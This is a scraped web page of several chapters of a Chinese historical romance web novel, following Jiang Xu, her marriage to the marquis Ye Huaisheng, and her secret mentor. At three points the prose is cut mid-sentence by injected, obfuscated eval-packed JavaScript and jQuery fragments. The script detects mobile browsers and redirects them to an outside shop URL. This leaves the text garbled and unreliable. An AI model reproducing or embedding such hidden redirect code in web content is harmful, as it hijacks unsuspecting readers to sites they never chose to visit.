    她屏息凝神，而后松指，箭羽破风而出，带着一声长啸，似要将这夜幕撕破一般，极速朝那箭靶飞去。


    直到听见“笃”的一声，不必去看，她便有十足的把握，那箭必然正中红色靶心。


    她心满意足地扬了扬嘴角，脸上依旧是云淡风轻的模样，而后转身走进无边夜色里。


    她摸到怀里的狼牙令，心里已有大略的盘算。


    那狼牙令，是被他强吻之时，她双手环着他的后颈，反吻着他乱他心意时，趁机解下来的。


    后来，她被他推开，她以为他察觉了什么，面上故作镇定，心里却乱做一团。


    好在他只是看起来十分烦躁，似乎对她颇有不满，但他并未多言，这倒给了她平复心情的时间。


    只要他出现在演武场，只要他教过她射箭，便已足够。


    -


    姜絮回到西厢房的时候，房间里亮着烛火，但是没见着叶淮生的人影，她等了大半个时辰，困意来袭，便先行睡下。


    一觉睡到卯时，她忽的睁眼，余光瞥到桌案旁坐着一人。


    他察觉到她屏住的呼吸，冷言道：


    “醒了？”


    他这是在问候？


    他昨晚什么时候回来的？


    他为什么非得睡这里？


    “嗯。”她淡淡应道，压下心中的无数疑问，并不多言，稍稍收拾一番，便去书房抄经。


    窗外梨花簌簌零落，碎白花瓣随风飘进书房，落在书案写了半卷的宣纸上。


    姜絮伸手轻轻拂开，头也不抬，仍沉浸在笔下的走墨之中。


    窗轴轻响，夹杂着几声脚步声，而后几分沉郁的气息漫上窗台。


    “平日里那般寡廉鲜耻，谁曾想背地里竟一心向佛。”


    冷嘲与微风一起荡进书房，吹得姜絮露出的一截皓腕裹上一层寒凉。


    她心头微微一顿，却依旧垂着眼帘，专注地将笔下之字写完。


    见她不吭声，他绕过窗户，走进书房，阴影投在她清隽端正的经文上。


    他指背轻扣书案，“咚咚”两声，声音清晰明显，让她再也无法故作忽视。


    她抬眸望他，目光坦然，似在等他开口，或是等他出言嘲讽。


    他喉结滚了滚，原本准备好的讥讽在喉间顿了下，才硬着头皮说出口：


    “你拜的菩萨，知道你平日里轻浮浪荡的模样吗？”


    他说这话，极为难听，不过是想让她羞愧难堪罢了。


    但姜絮的脸上一片清明，并无半点窘迫，反倒升起一丝怜悯，她淡然道：


    “菩萨知道。”


    “侯爷知道。”


    “但是菩萨不会像侯爷这样，拿此事刁难于我。”


    叶淮生被姜絮的这三句话怼得一时哑然，仍强撑着底气问道：


    “那你自己知不知道？”


    “知道。”


    “知道你还……”


    “因为我也不会拿此事刁难自己。”

 20. 慈乌

    叶淮生垂眸，目光如炬剜在她神色自若的眉眼上。


    他忽然觉得，他似乎看轻了她。


    “侯爷。”她突然语气认真地唤他，将他从无边思绪中拉回来，“今日可否许我到栖云寺礼佛？”


    他垂下长睫，以示默许。


    他早已料到她会为林朔的事有所行动，他从袖中取出一个淡粉暗纹锦囊，随手一丢，稳稳落在她抄了一半的经文上。


    “这是什么？”姜絮拿起锦囊，正欲拆开，却听得他制止道：


    “别动，里面是石灰。”


    “石灰？”姜絮不明所以。


    “必要时候，可以撒在坏人脸上防身。”


    坏人？防身？


    姜絮突然反应过来，侯爷这是在关心她的安危，顿时嘴角上扬，笑意盈盈道：


    “侯爷真好，还送我礼物，粉粉的，很贴心。”


    叶淮生嘴角抽了抽：“谁说这是礼物了？”


    “那我也要送侯爷一个礼物。”姜絮并不接他的话，自顾自地从袖子里取出一个靛青色锦囊，抬手递到叶淮生眼前：


    “虽然不是我亲手做的，但是我亲自转交于你，也算一点心意。”


    锦囊上的白色菩提子在眼前晃了晃，叶淮生认出那是苏芸送的平安符。


    借花献佛竟也被她说得这般大言不惭，叶淮生一时被她噎得不知如何回答，只是冷着一张脸，极不情愿地接过锦囊，咬牙切齿说道：


    “都说了不是礼物，少自作多情。”


    余光却不自觉地瞥到她的腰上，见她腰间系着茜粉锦囊，与他手中攥着的，恰是一对，顿时心里漾起一抹异样的情愫。


    “但我送侯爷这个是礼物呀～”姜絮仰着一张小脸，眼眸明亮，嘴角的笑意噙着一丝狡黠，在叶淮生审视的眼神中又悻悻地收敛了几分，找补道：


    “下次。”


    “下次一定给侯爷送一个我亲手制作的礼物。”


    叶淮生：……


    -


    午膳过后，姜絮在叶淮生的监督下，操弓练箭。


    练了大约半个时辰，守卫前来禀报，说青荷的马车已经等在门外。


    姜絮迫不及待提着弓箭便走，迈出几步后，又突然回头，见叶淮生站在空荡荡的演武场上，正朝她看来。


    “侯爷。”她冲他挥手，“等我回来。”


    极淡极轻极平静的一句话，却如石子一般，在他的心里荡起一圈涟漪。


    他面无表情的脸上，浮现一丝暖意。


    直到她小巧玲珑的身影消失在演武场的尽头，他才对着空气，轻飘飘地说了句：


    “好。”


    马车缓缓驶出城门，朝栖云寺的方向去了，出城不到十里左右，马车突然折返方向，最后停在淮水南岸的一处半山腰。


    阿策掀开车帘，将姜絮迎了下来，指着葱葱郁郁山坳处的一个三进院落的别院说道：


    “别院共有四处出入口，各有两个守卫值守，另又有四个守卫在院中巡逻，这只是明面上的。别院在山坳处，四周环山，不知埋伏着多少暗卫。上一次，属下曾硬闯救人，出门不到半里，便有四个高手追了上来。”


    所以他那次失败了。


    姜絮顺着阿策的描述，一一打量着别院的布局，心下思索着救人之法。


    青荷突然插话：


    “二姑娘当真要救？”


    姜絮看了眼青荷，见青荷面上犹豫，对她微微摇头，示意此事不可。


    姜絮安慰道：


    “我自有定夺。”


    “候夫人打算何日营救？”阿策问道。


    “后日。”姜絮回他。


    “为何如此之快？”


    “人命关天，不可拖延。”


    “后日可是春蒐之日？”阿策再次确认。


    “是。”姜絮应道。


    她要的，便是这春蒐之日。


    “春蒐之日，侯爷要陪圣上狩猎。若是夫人这边遇到什么意外，恐怕侯爷无暇顾及。”阿策话里似在劝她另择一日。


    姜絮并不听他的建议，语气平淡地说道：


    “就算侯爷没有去春蒐，他也不会来救我。”


    意思是，不管哪天营救，对她来说都是一样的。


    她做事，从来不需要他人托底。


    如果真的需要，也不会是他。


    说完，她转过身，踩着车辕上轿，掀开车帘，弯身进车厢前，她回头望了眼还站在原地的阿策，欲言又止，最后还是什么都没说。


    -


    马车停在栖云寺门口时，整座寺庙正浸在午后慵懒的日光里，幽幽钟声荡过层林，姜絮随着引路小僧一同踏着石板小径朝后山行去。


    “侯夫人，贵客正在禅房候着。”引路小僧双手合十，略微垂眼。


    姜絮回礼，推开虚掩的门，一股清淡的檀香缠上鼻腔。


    室内堂前，燃着上百盏长明灯，煌煌烛光里，一道素白身影正跪坐蒲团，双手合十，广袖垂落在侧，周身似笼着一层朦胧云雾。


    姜絮对着她清冷的背影欠身行礼：


    “慈乌见过师父。”


    姜絮在给青荷的信笺里，留了求见师父的暗号。


    她是她的师父，亦是十年前，将她从失去至亲的痛苦中拯救出来的恩人。


    姜絮对她知之甚少，只知她代号名为“佛面”。


    十年前，柳静姝去世，年仅六岁的姜絮沉浸在莫大的哀痛里。有人跟她说，若是在坟前跪满七七四十九天，她的娘亲便会还魂归来。


    她当了真，日日夜夜跪在坟前。


    时值隆冬，雪落得紧，鹅毛般的雪片压在她弱小单薄的身子上。


    她跪在冰天雪地里，冻得浑身僵硬，背脊却依旧直挺，虔诚而又肃穆。


    膝盖下的雪被她的体温消融，融了又冻，冻了又融，雪水渗透裤腿，侵蚀入骨，疼得她微微发颤，她却咬着唇，一声不坑，生怕因为她用心不诚，误了娘亲返生的路。


    姜家的人找了她七天，却被佛面先一步遇见。


    佛面把当时倒在雪地里奄奄一息的姜絮带回栖云寺，为她熬药续命，为她施针救腿，为她一点一点拂去至亲离世的阴翳。


    佛面跟她说：“你娘的死有蹊跷，你若愿意此后为我做事，我便助你复仇。”


    她没说替她复仇，她说助她复仇。


    她说：“自性自度，自己的解脱，需要自己成就。”


    姜絮应下了这笔交易，拜在佛面脚下，认她做了师父。


    她赐予姜絮代号，叫做“慈乌”。


    十年前，佛面出手，助她复仇。


    十年间，她为佛面在京中游走，助她谋局。


    十年后，佛面跟她说，该收网了。


    她回佛面：


    “师父，徒儿愿舍身入局。”


    于是，嫁入镇北候府，便是她入局收网的开始。


    而忠勇侯府，不过是丢的最早的一颗弃子罢了。


    下一颗……


    她仍微微躬身，等着她的回应。


    佛面并未回头，只淡淡开口，声音低缓而又平静，恍若渺渺禅音：


    “因何求见？”


    “求师父指示，春蒐之日


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058389|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，可否一举扳倒……”姜絮停顿，并未说出那人姓名。


    佛面已然领会，略微倾身，侧头垂眸，素白轻纱被窗外吹来的微风掀起，露出一截光洁的下巴，在跳跃的烛光里看不分明。


    “可曾问过红缨？”她问。


    “不曾。”姜絮回道，“自嫁入镇北候府，徒儿尚未与红缨见面。”


    “你且问她，若她心意已决，则春蒐之日，便是问罪之时。”


    佛面微微抬手，抚了抚额头，见姜絮没有离去之意，又问道：


    “还有何事？”


    “回师父，京郊西侧，淮水南岸，一浅山坳处有一别院，请问师父可有此院的舆图？”


    姜絮知道她有几乎整个大兖各个角落的舆图，只是不知，是否连这么偏僻的小院亦有。


    只见佛面微微颔首，似在思索，片刻后问道：


    “因何需此舆图？”


    姜絮将营救林朔家眷之事悉数告知，本以为佛面会说她多管闲事，谁知她未恼怒，只是指出她计划中尚有不妥之处，并应下了舆图之事。


    待姜絮走出禅房之时，已是薄暮时分，合上房门前，她恋恋不舍地望她最后一眼。


    佛面总是不许她求见，这次她本以为她会拒绝，谁知她竟应许，还破天荒给了她一下午的时间。


    可她还是觉得时间过得好快。


    房门合上的一瞬间，她的心也跟着一起关闭。


    不知下次再见，又是何时。


    -


    回府之前，姜絮先去了趟玉容堂。


    玉容堂今日上了一批新货，好些高门贵女都堵在店铺内叽叽喳喳兴奋地谈论着，一看到姜絮进来，顿时空气都安静了，纷纷向她投去异样的目光，先是愣了半晌，不知是谁起了头，微微躬身，沉声喊了句：


    “见过侯夫人，夫人万福。”


    顿时，满堂的贵女们面面相觑，不得不硬着头皮福了福身，齐声道：


    “见过侯夫人，夫人万福。”


    姜絮自小便是京中无人问津的庶女，此时一朝被这般众星捧月，还未反应过来，但面上仍旧淡定，回了句：


    “免礼，起来吧。”


    再抬眸时，却见人群中有一熟悉面孔。


    她顿时明白了，刚才那一声是谁起的头。


    她缓步上前，那人却先她一步微微福了福身行礼。


    她一时哑然，忙扶起那人的手肘：


    “伯母这是作何？”


    楼红缨按着她的胳膊，嘴角噙着温柔的笑，打趣道：


    “二姑娘现在可是一品诰命夫人，该行的礼节，自然是要有的。”


    姜絮回道：“昔日伯母身为少将军，统领定边军的时候，也未曾让絮儿行礼，为何今日偏偏今日这般打趣絮儿。”


    “絮儿……”似是许久都未如此称呼，楼红缨一时恍然。她望着面前风姿绰约的少女，眉眼间依稀可见故人当年的模样，不由自主地唤了句：“柳儿？”


    姜絮顿时僵在原地，似被尘封的记忆隔空抽了一鞭，一阵酥麻感沿着后脊扩散，她努力克制着指尖的颤抖，凝了凝神，回道：


    “伯母，我是絮儿。”


    “絮儿……”楼红缨喃喃道，回了回神。


    自柳静姝离去后，每一次见到姜絮，她都会恍然把她认成柳静姝。不是因为她意识不清，只是姜絮和柳静姝长得实在是太像了。


    那股韧劲也像。


    她记得，姜絮跪在她面前，求她教她射箭的时候，好像还不到七岁。


    然而那个时候，她从未与京中任何人提起她曾擅骑射之事。

 21. 轻薄

    楼红缨怜惜她小小年纪痛失至亲，于是答应私下教她骑射之术。


    她学得很快，不到一年便已学得有模有样。每次看到她手握长弓，楼红缨总会想起在北境驰骋疆场的时光。


    而她，似乎看出了楼红缨眼里的怅惘。


    她跟楼红缨说：


    “伯母，等絮儿亲手报完娘亲的仇，絮儿就来帮伯母报仇。”


    说完，她拉满弓弦，将手里的箭羽瞄准御史府大门的方向：


    “絮儿只等伯母开口。”


    她的声音仍透着稚童的天真，但语气却阴冷得骇人。


    楼红缨顿时怔住，愣了半晌才蹲下身，捧着她的小脸，指腹轻轻在她脸颊刮了两下，柔声道：


    “伯母没有什么仇，伯母只想絮儿开开心心的。”


    姜絮垂下握着箭羽的手，抿了抿唇，认真说道：


    “可是絮儿也想让伯母开心。”


    原来，那个时候，她的不开心，就连一个七八岁的小孩都看得出来。


    “伯母没有不开心，伯母只是有时候……很想念北境。”楼红缨回道。


    “像絮儿想念娘亲那样吗？”姜絮问道。


    姜絮童言无忌的一句话，惹得楼红缨顿时潸然泪下。


    那个时候，楼红缨没有回她。


    而今天，楼红缨已然下定决心。


    -


    回到侯府的时候，已是入夜时分，姜絮提着灯笼在府里找了一圈，没有见到叶淮生的影子，忽的想起，她走之前跟他说了句等她回来。


    他该不会还在演武场吧。


    姜絮将灯笼高高提起，借着灯笼昏黄的光，扫视一圈，却见演武场里黑漆漆空荡荡，根本没有人影。


    离去的脚步刚刚迈开，却听见身后远远传来的枪弄棒的声音。


    她提着灯笼，循声朝西南角走去，试探性喊了声“侯爷？”


    话音刚落，那破空的舞枪之声骤停，不过转瞬，枪风更烈。


    不再是起初的随意舞弄，而是带着些许怒意，横枪扫过之处，夜风都似被撕裂般，每一招都用足了力气。


    姜絮感觉他的每一棍，都像敲在了她身上，让她心里惶惶。


    她慢慢走近，停在他身后三步远的地方，轻声解释道：


    “我刚从玉容堂回来……”


    话未说完，一杆长枪倏地横扫过来，堪堪擦着她的脖颈，枪风凛冽，将她发丝猛地吹起又垂落，缠绕枪尖上。


    她愣在原地，忘了闪躲，只觉得脖颈一阵凉意。


    这枪若是再近一寸，便要划破肌肤。


    她知他是故意的，但却不知他为何生这么大的气。


    她慢慢抬手，指尖推了推面前的冰冷银枪，声音软得发颤：


    “侯爷这是……”


    姜絮灯笼举得高，差不多到了他肩胛。烛光映照下，他眼底闪着金色微澜，似带着些许疲惫与酸涩。


    被姜絮察觉的一瞬，他眸中寒凉意更甚，回望姜絮的一眼，吓得姜絮汗毛竖起。


    “某人不是说要认真练箭吗？”他说，声音哑得厉害，似许久都不曾开口。


    在这偌大却空无一人的侯府，他确实也没有可开口而谈的人。


    难道自她走后，他便独自在此练了一下午的枪。


    若是这演武场没解封呢？


    在她入侯府前的那半个月，他又是如何独自一人渡过漫漫长日。


    姜絮难得的对他升起了同理心，并没有辩驳他的话，只是心虚应道：


    “这就去练。”


    说着，她望着他稍有缓和但仍带着侵略性的眼神，试探性地步子后撤。


    她才退了一步，却见他握枪的手猛地收紧，银枪被他一瞬收回，“哐当”一声丢在地上。


    她愣在原地，只见他大步跨来，两手一伸，扣住她的腰背将她狠狠揽入怀中，力道大得几乎让她呼吸不过来。


    姜絮闷哼一声，刚抬起头，却被他滚烫的手掌猛地扣住下颌，强迫她将下巴高高扬起。


    还是不够，她稍稍踮脚，才勉强让自己的脖颈不被他掰断。


    她还未来得及开口，他的吻便落了下来，似将满腔的愤怒都发泄在她身上，吻得她脚步虚浮，不住后退，却又被他扣得更紧，腰腹抵着他硬挺的胸膛，隔着衣衫传来他急促的心跳，一下重过一下，撞得她心尖发颤。


    她试探性地推了下，却被他按着脊背惩罚，她没忍住闷哼一声，却似点燃燎原之火，让他吻得愈加发狠。


    她放弃挣扎，松开提灯的手，双手攀上他的后颈，回应似的微微仰头，唇瓣轻启，接纳着他的吻。


    两人唇齿交缠，在漫天星辰下吻得肆意忘我。


    直到夜风渐凉，一阵寒意拂过脖颈，他才稍稍退开，结束这个漫长而又无稽的吻。


    “真是个轻浮的女子！”他别过身去，下颌线绷得笔直，已然恢复平日里那般薄情冷淡，仿佛刚才那个吻得忘情之人，并不是他。


    或者说，他并不承认，那是他。


    姜絮站在原地，唇上仍留着他的灼热气息。


    她不理会他的冷言冷语，只是蹲在地上，拾起滚落的灯笼，昏黄的光晕横亘在两人之间。


    “我不过是配合侯爷罢了，若侯爷认为这是轻浮，那便是了吧。”她平静地说道。


    而她的平静，落在叶淮生的眼里，便成了挑衅。


    “配合？”他轻笑一声，傲慢从喉间溢出，“你的意思是怪本侯轻薄于你？”


    姜絮摇头，晚风吹起她的长发，缠绕脸颊，她伸手拂去：“你我夫妻一场，怎能用‘轻薄’二字？”


    “姜絮——”他的声音陡然拔高。


    他一把攥住她的手腕，震得她灯笼里的烛光一瞬跳跃，映着他的脸色半明半暗。


    她抬眸，迎上他狠戾的目光，眼里没有半分闪躲，甚至还在他气得眼睛微微眯起的时候，闪过一丝狡黠。


    谁认真，谁就输了。


    她轻轻推开他的手。


    他却反手握住，脸色阴沉地盯着她，身上自带一股无形的压迫感，若是其他人，早已被这气场压得瑟瑟发抖，而她却跟个没事人一样，茫然却又淡定地望着他，似在等他开口。


    “罢了。”他怒极一般，猛地甩掉她的手，拂袖而去。


    他在前面大步走，姜絮提着灯笼在他身后小步跟着。


    两人一前一后一直到了西厢房，他却没有进房间，而是看也没看她一眼，径直又往书房去了。


    只是有点奇怪，明明从演武场回来，从书房经过会更近，他却偏偏绕了个远路，先回了西厢房。


    似乎，只是为了送她回房？


    姜絮摇摇头，首先排除这个可能。


    一直到她临睡前，也没见他回来。


    姜絮躺在塌上思来想去，最后得出结论：


    他在躲她。


    他应该挺讨厌她的吧，这般躲着她。


    但是没关系，她喜欢就够了，她得到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058390|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就够了。


    因为师父说过，想要，就要得到，如果得不到，那便是本事不行。


    她现在还差一点，没有得到。


    她只能说，来日方长。


    -


    翌日一早，姜絮照旧卯时起床，习惯性地往桌案看了一眼，并没有出现那个熟悉的身影。


    她洗漱一番，行至书房，依旧没见着叶淮生，不知怎么，总觉得心里空落落的。


    她怀着忐忑的心情，一路小跑，跑到演武场，还是不见人影。


    她最后没法了，只能凭着记忆，重走初来那日乱入的那条小路。


    虽然她做足了心理准备，但是在看见青姨脸上触目惊心的烧伤时，还是没忍住皱着眉头，声音低低地喊了声：


    “青姨……”


    青姨正佝偻着背在井口打水，迷迷糊糊听见有人唤她，抬起头来却见栅栏门口站着一个娇艳动人的小姑娘。


    她再定睛一看，这小姑娘有几分眼熟，在认出来人后，“啊呜啊呜哇哇”一阵乱叫。


    “青姨，我没有恶意。”姜絮一边解释着一边走进小院。


    屋内的阮伯听见动静，手里抄着根竹竿就跑了出来，却在见到姜絮的时候，竹竿停在半空，没有落下来。


    他想起那天晚上，躲在叶淮生怀里呜呜哇哇哭的人，与面前之人有几分相似。


    “姑娘你……”他的声音苍凉，但语气和善。


    “我来找叶淮生。”她赶忙报上他的大名，眼神瞟了眼高悬在她额上的竹竿。


    阮伯顿时收回竹竿，随手斜倚在一旁的石凳上。


    “姑娘可是他前几日娶进门的新娘子？”他问道，端起石桌上的茶水，为她斟了一杯。


    她也没嫌弃，径直坐在石凳上，双手接过粗陶碗，回道：


    “是的。”随即又转了个话题：


    “不知他今日可曾到过此地？”


    阮伯摇头，又给青姨倒了一杯：


    “我二人素来喜僻静，甚少有人来此拜访。”


    他话说得客气，但姜絮似乎听出他言语中的刻意疏离。


    而一旁的青姨，则是抱着茶碗，或许是怕吓着姜絮，她坐得很远，但眼神还是止不住地对姜絮上下打量。


    她的眼神没有恶意，满是欣赏，眼皮耷拉得几乎抬不起，眼里却泛着一丝欣慰的光。


    姜絮觉得，他们与叶淮生之间的关系，不仅仅是邻居那么简单。


    “我与侯爷，乃是圣上赐婚，我对侯爷知之甚少。听侯爷说，他曾与二位老人家是邻居，不知二位可否讲些侯爷的往事与我，好让我多了解了解我的夫君。”


    姜絮话音刚落，青姨便咿咿呜呜地发出奇怪的声音，手胡乱张扬着拍打着阮伯的肩膀，似乎是在要求阮伯快讲。


    阮伯无奈地叹了声，回道：


    “知道了知道了。”


    姜絮似乎听懂了阮伯的言外之意。


    阮伯知道了，青姨对姜絮很满意。


    “叶淮生是个孤儿。”阮伯说道，时隔多年再次提起，语气里仍是满满的怜惜。


    这事，姜絮知道，全京城的人都知道。


    所有人都习以为常，并为此感到麻木。


    而陪他最久的人，却在每一次提起时，都会再一次为他心生怜悯。


    这般善良的人。


    姜絮望着青姨脸上被烧得触目惊心的狰狞，攥紧了手中的茶杯，心中隐隐触动：


    不该是这样的结局。

 22. 爱我

    “他小时候没有家。”阮伯继续说道，“所以长大后也并不打算成家。”


    这就是他日拒婚书三百封的原因吗？


    一朝被蛇咬，十年怕井绳。


    姜絮小啜一口清茶，继续听阮伯说着：


    “但是姑娘你出现了。”


    “我？咳咳咳……”姜絮一口茶水呛在喉咙里，差点没喘过气儿。


    青姨笨拙地帮她拍着后背顺气，她这才缓过来，尴尬说道：


    “阮伯这话是什么意思？”


    “淮生这个孩子，性格特别犟，凡是他不喜欢的，无论怎么强迫，他都不会接受。”


    “以前梨坪巷有个小姑娘，特别喜欢他，每天跟在他身后转悠，给他买这买那，他都不接受，甚至连人家名字都不记得，给那姑娘气得哟，连夜搬了家。”


    阮伯顿了下，褶皱耷拉的眼睛望着姜絮，意味深长地说道：


    “所以他既然愿意娶你进门，便是他心里已经接受了你的意思。”


    “阮伯你可能误会了……”姜絮想辩驳，却又被打断：


    “淮生他只是性格倔，表面看起来凶巴巴的，其实心地善良，为人熨帖。”阮伯看了眼青姨，说道：


    “像我们俩这种糟老头子糟老太太，要不是他救济，早就流落街头了。”


    “流落街头？”姜絮问道，“这是何意？”


    话音刚落，青姨砸了阮伯肩膀一下，似颇有不满，不让他说这事。


    姜絮看出端倪，也不多问，只是暗自记下了梨坪巷这个地方。


    她记得，大约三年前，梨坪巷曾走过水，烧得厉害，半条街巷都烧成了焦土。


    若她没有猜错，青姨的烧伤，估计也是那时留下的。哑不能语，则是被浓烟呛伤失了声。


    “青姨这……”姜絮指了指自己的喉咙，“有多久了？”


    阮伯先是看了眼青姨，见青姨没有回避的意思，说道：


    “差不多有三年了。”


    “一点声音都发不出来？”姜絮追问。


    见阮伯犹犹豫豫，姜絮解释道：


    “我认识个江湖神医，如果青姨伤得不严重的话，或许她可以帮忙治治。”


    听闻此言，青姨浑浊的眼神亮了一瞬，随即又转为暗淡，阮伯解释道：


    “搬来这里后，淮生也找过很多名医，每次都抱着希望而来，失望而归。时间久了，淮生放弃了，我们也放弃了。”


    “试试嘛。”姜絮劝道，“万一能行呢。”


    “我这两条腿。”


    姜絮指着膝盖说道：


    “小时候有段时间站都站不起来，我都以为自己要成残废了。”


    “结果遇到个神医，给我扎针治好了。”


    说着，姜絮站起身来，提着裙摆转了一圈：


    “你们看，现在不是好……”


    话还没说完，姜絮忽然瞧见叶淮生不知何时出现在院门口，正阴沉着一张脸朝她看来。


    她尴尬地咧咧嘴，皮笑肉不笑地叫了声“侯爷”。


    叶淮生没搭理她，径直朝她走来。


    他的视线下移，落在她的膝盖上，而后，再次抬眸，向她看来。


    他晦暗不明的眼神中，似比刚才多了些隐隐的关切。


    叶淮生眼神朝青姨和阮伯打过招呼后，才往姜絮这边看来，冷言道：


    “跟我回去。”


    “哦。”姜絮乖巧应道，跟在他身后，还不忘回头，对着青姨和阮伯做口型说道：


    “下、次、见。”


    两人一路沉默着，气氛冷得吓人。


    姜絮主动打破僵局，小心翼翼拽着叶淮生的袖子，声音故意带着几分主动让步的软绵绵：


    “侯爷，我可不可以问你件事？”


    叶淮生拢了拢袖子，正欲撇掉她的手，回头却见她微微仰头，眼波流转，眼底似带着点可怜兮兮的哀求。


    他明知她是装的，但还是一脸不悦地回了声“嗯”。


    得了应许，姜絮立马来了劲，说道：


    “侯爷还记得三年前，梨坪巷走水的事吗？”


    叶淮生眉头皱起，似不喜欢这个话题，但还是点头回应她。


    姜絮继续说道：


    “最开始，所有人都以为只是意外，结果后面查出来是有人故意纵火。”


    “那个人被关到京兆府狱，还没有来得及问审，就遭人暗杀，死在狱中。”


    听到此，叶淮生眸色微沉，似捕捉到了什么，目光锐利地盯着她，微微眯起眼睛，等着她的后文。


    姜絮指尖悄悄攥紧，咽了下口水，目光试探地望着他，问道：


    “那个人……是你吗？”


    叶淮生微微偏头，面上依旧没什么表情，审视着姜絮，试图从她的眼神中看穿她的意图。


    “那个人是你杀的吗？”姜絮又问了一遍，语气里多了丝质问。


    当年他们追查线索，刚查到那人，那人就死在了京兆府狱。


    至此，线索全断。


    没想到，事隔多年，居然再次浮现。


    “是你吗？”姜絮追问，语气里已有隐隐的期盼。


    如果真的是他，那么就意味着，这件事，终于可以再次提起。


    她又有了可以去找师父的契机。


    “是。”叶淮生坦然应道，他望着她的眼睛，望着她眼里隐隐升起的快意。


    不知她为何对此事如此上心。


    “你问这个做什么？”他问道，脸上闪过一抹愠色，“难道又想抓我去邀功？”


    姜絮似是而非地摇摇头，脸上的笑意藏都藏不住。


    她要立功了。


    她恨不得立马飞到栖云寺将此事告知师父。


    这是叶淮生第一次见她笑得这么灿烂，这么心花怒放，毫不遮掩。


    于是他好奇道：


    “听到我杀人，你就这么开心？”


    姜絮：……


    叶淮生又道：


    “到时候跟我回北境，我到战场上杀敌给你看。”


    姜絮双手合十，缓缓道：


    “阿弥陀佛，出家人慈悲为怀。”


    叶淮生：……


    -


    练箭之事，还在继续。


    叶淮生命她每天练一百支箭。


    她主动申请练三百支。


    加上昨天欠的一百支。


    她今天一共要练四百支。


    老天爷诶。


    姜絮内心哀嚎，蹲到地上，锤着酸疼的肩背，拖延时间。


    “别偷懒。”


    叶淮生提着长枪，走到她身边，抬起脚，小腿轻轻撞了她两下。


    她借势身子晃了晃，装作体力不支的样子，跌倒在地：


    “诶哟……”


    “疼死我了……”


    演技之拙劣，叶淮生看了只是眯着眼睛，眼底闪过一丝嫌恶：


    “再不起来，本侯的长枪可不长眼。”


    说着，枪尖扫着疾风，已然掠到姜絮的脖颈。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061805|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    姜絮被吓得下巴后缩，身子朝后仰，腰腹隐隐用力，勉强支撑。


    见此，叶淮生手持长枪往前送出一寸。


    姜絮继续后仰，腰腹颤抖，几乎快要支撑不住。


    而叶淮生的长枪仍在继续往前推。


    她为了活命，咬牙撑着，整个上半身几乎与地面持平，人却依旧没有倒下去。


    姜絮上半身不住颤抖，额角已经冒出了汗。


    就在她即将坚持不住的前一刻，叶淮生才似终于玩够了一般，倏地收回长枪，顿在地上。


    “你习过武。”他突然说道，眼神落在她的腰腹上。


    “寻常女子，不会有你这般腰腹之力。”


    姜絮拄着弓身站起来，轻轻拍了拍沾了灰尘的裙摆，解释道：


    “小时候贪玩，和杂耍艺人学过几招，有过几年童子功。”


    “后来吃不了苦，就没学了。”


    叶淮生显然不信，长枪横在她的脖颈之上，拦住了她的去路，问道：


    “你究竟是何人？”


    姜絮垂眸，看了眼泛着寒光的枪尖，又抬眸，望着眼里燃着怒火的叶淮生，问道：


    “侯爷这是什么意思？”


    “我自然是侯爷亲自娶进家的夫人。”


    姜絮指尖掸了掸枪尖，而枪尖丝毫没有退缩之意，甚至还隐隐推进几分。


    她皱着眉头，略带困惑地问道：


    “侯爷昨日还抱着我又亲又啃，怎么今日突然就长枪相向？”


    “姜、絮、”愤懑的怒吼从喉中溢出。


    就在他的长□□入她喉咙的前一刻，她闭上眼睛，等待着他的诛杀降临。


    只是，一阵寒风扫过，将她垂在肩上的墨发吹起，发丝在身后飘飞。


    她突然想起成亲那日，他抱着她走进大门。一时风起，他的指尖搅着她的发丝，她在他的眼里看到一丝温柔的缱绻。


    这一次，她也想赌一把。


    风停，发丝垂落在肩，一切恢复原样。


    她懵然睁眼，却见他立在她身前，眼圈泛起一阵潮红，似许久未曾阖眼。


    他虽一言不发，她却从他的眼里看到了他的无可奈何。


    谁认真，谁就输了。


    姜絮死命咬着嘴唇，眼里勉强挤出几滴眼泪，吸了吸鼻子，故意示弱道：


    “侯爷吓死我了。”


    闻言，他眸色骤冷，眉峰倒竖，嘲讽道：


    “别装了。”


    “本侯见过你哭的样子。”


    姜絮：……


    姜絮眼神瞟了瞟依旧横在她脖颈上的长枪，叶淮生这才极不情愿地将其收回，黑着一张脸冷言道：


    “为什么不躲？”


    姜絮抿着嘴唇，脸上藏着小算计，小心翼翼后退。


    她的手背在身后，还握着弓身与箭羽。


